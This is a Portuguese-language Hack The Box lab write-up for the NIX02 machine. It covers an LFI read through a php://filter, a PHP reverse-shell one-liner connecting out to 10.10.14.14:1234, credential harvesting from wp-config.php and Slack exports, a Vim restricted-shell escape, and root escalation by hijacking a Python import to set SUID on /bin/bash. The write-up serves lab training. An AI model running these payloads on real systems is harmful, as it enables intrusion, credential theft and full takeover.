HTB - WRITE Up - PHP Wrapper to Reverse Shell (NIX02)

LFI com PHP Wrapper

A falha de LFI permite ler arquivos internos no servidor. Ao encontrar essa falha em um servidor Linux, é comum ler o arquivo /etc/passwd. No caso do servidor NIX02, a leitura pode ser feita diretamente ou através do filtro do PHP Wrapper e a conversão dos dados para Base64. 

php=//filter/read=convert.base64-encode/resource=/etc/passwd


A busca por um método para executar a conexão reversa a partir da falha LFI, me levou a um artigo em Chines acessível AQUI e ao script para executar a shell reversa com o PHP Wrapper. Para entender como o exploit foi criado é necessário saber que o filtro do PHP Wrapper pode converter caracteres em diversos formatos. O que permite essa funcionalidade é o parametro iconv*.


O que acontece na exploração dessa falha é a inserção do código PHP da shell reversa antes do arquivo /etc/passwd

Código da Shell Reversa em PHP

php -r '$sock=fsockopen("10.10.14.14",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

O script faz a conversão dos caracteres aplicando diversos filtros até o resultado final. O site Hack Tricks diponibiliza o script para explorar o LFI com PHP Wrapper e executar um RCE ou o código da shell reversa.  

Para executar o exploit no laboratório, optei por inserir o código da shell reversa na requisição interceptada pelo Burp Suite. No entanto, é possível inserir o código diretamente no script, fazendo o tratamento adequado com o encode para URL. Usei o encode URL deste site AQUI


Conexão estabelecida.


A partir dessa conexão foi possível localizar as credenciais do usuário Margaret no arquivo wp-config.php e acessar o servidor diretamente pelo SSH. 

Escape do Shell Restrito

Ao acessar o servidor, o terminal é restrito e só alguns comandos são permitidos. Para realizar o bypass e habilitar o terminal completo usei o utilitário Vim. Ao acessar o Vim, basta digitar os seguintes comandos: 

:set shell=/bin/bash
:shell

O próximo passo é fazer o reconhecimento interno do servidor. E ao  usar o comando ls -all para visualizar os arquivos ocultos no diretório do usuário, localizei o diretório .config onde existe o diretório da ferramenta Slack

Ao navegar pelos arquivos e diretórios da ferramenta, localizei no arquivo 2020-05-18.json o registro de uma conversa e a senha de um usuário. Esse arquivo está localizado em .config/Slack/exported_data/secure



A senha identificada pertence ao usuário Frank. 



O próximo passo é continuar o reconhecimento interno e buscar meios para a escalação de privilégio. 

No diretório do usuário Frank existe o arquivo apache_restart.py que é executado pelo root e o usuário atual não tem permissão de alterá-lo pois não está inserido no arquivo Sudoers. 




Ao pesquisar um meio de fazer a escalação de privilégio a partir do script apache_restart.py, encontrei um método que usa a sequência de execução de um script Python para obter o acesso root. 

Quando um script Python é executado, ele faz a importação de módulos, e essa importação segue a seguinte sequencia: 

1 - Procura o módulo do import no diretório atual
2 - Procura o módulo nos caminhos da variável PYTHONPATH
3 - Procura na biblioteca lib no caminho de instalação do Python

A primeira opção nos beneficia e permite criar um arquivo com o nome do módulo importado pelo script, ou seja, um arquivo com o nome urllib, e dentro desse arquivo os comandos para adicionar ao terminal do usuário o SUID para execução como root. 

import os 
os.system('chmod +s /bin/bash')


Depois basta chamar o terminal com o comando: 

/bin/bash -p 

E a escalação de privilégio está concluída. 




Referências: 






Comentários

Postagens mais visitadas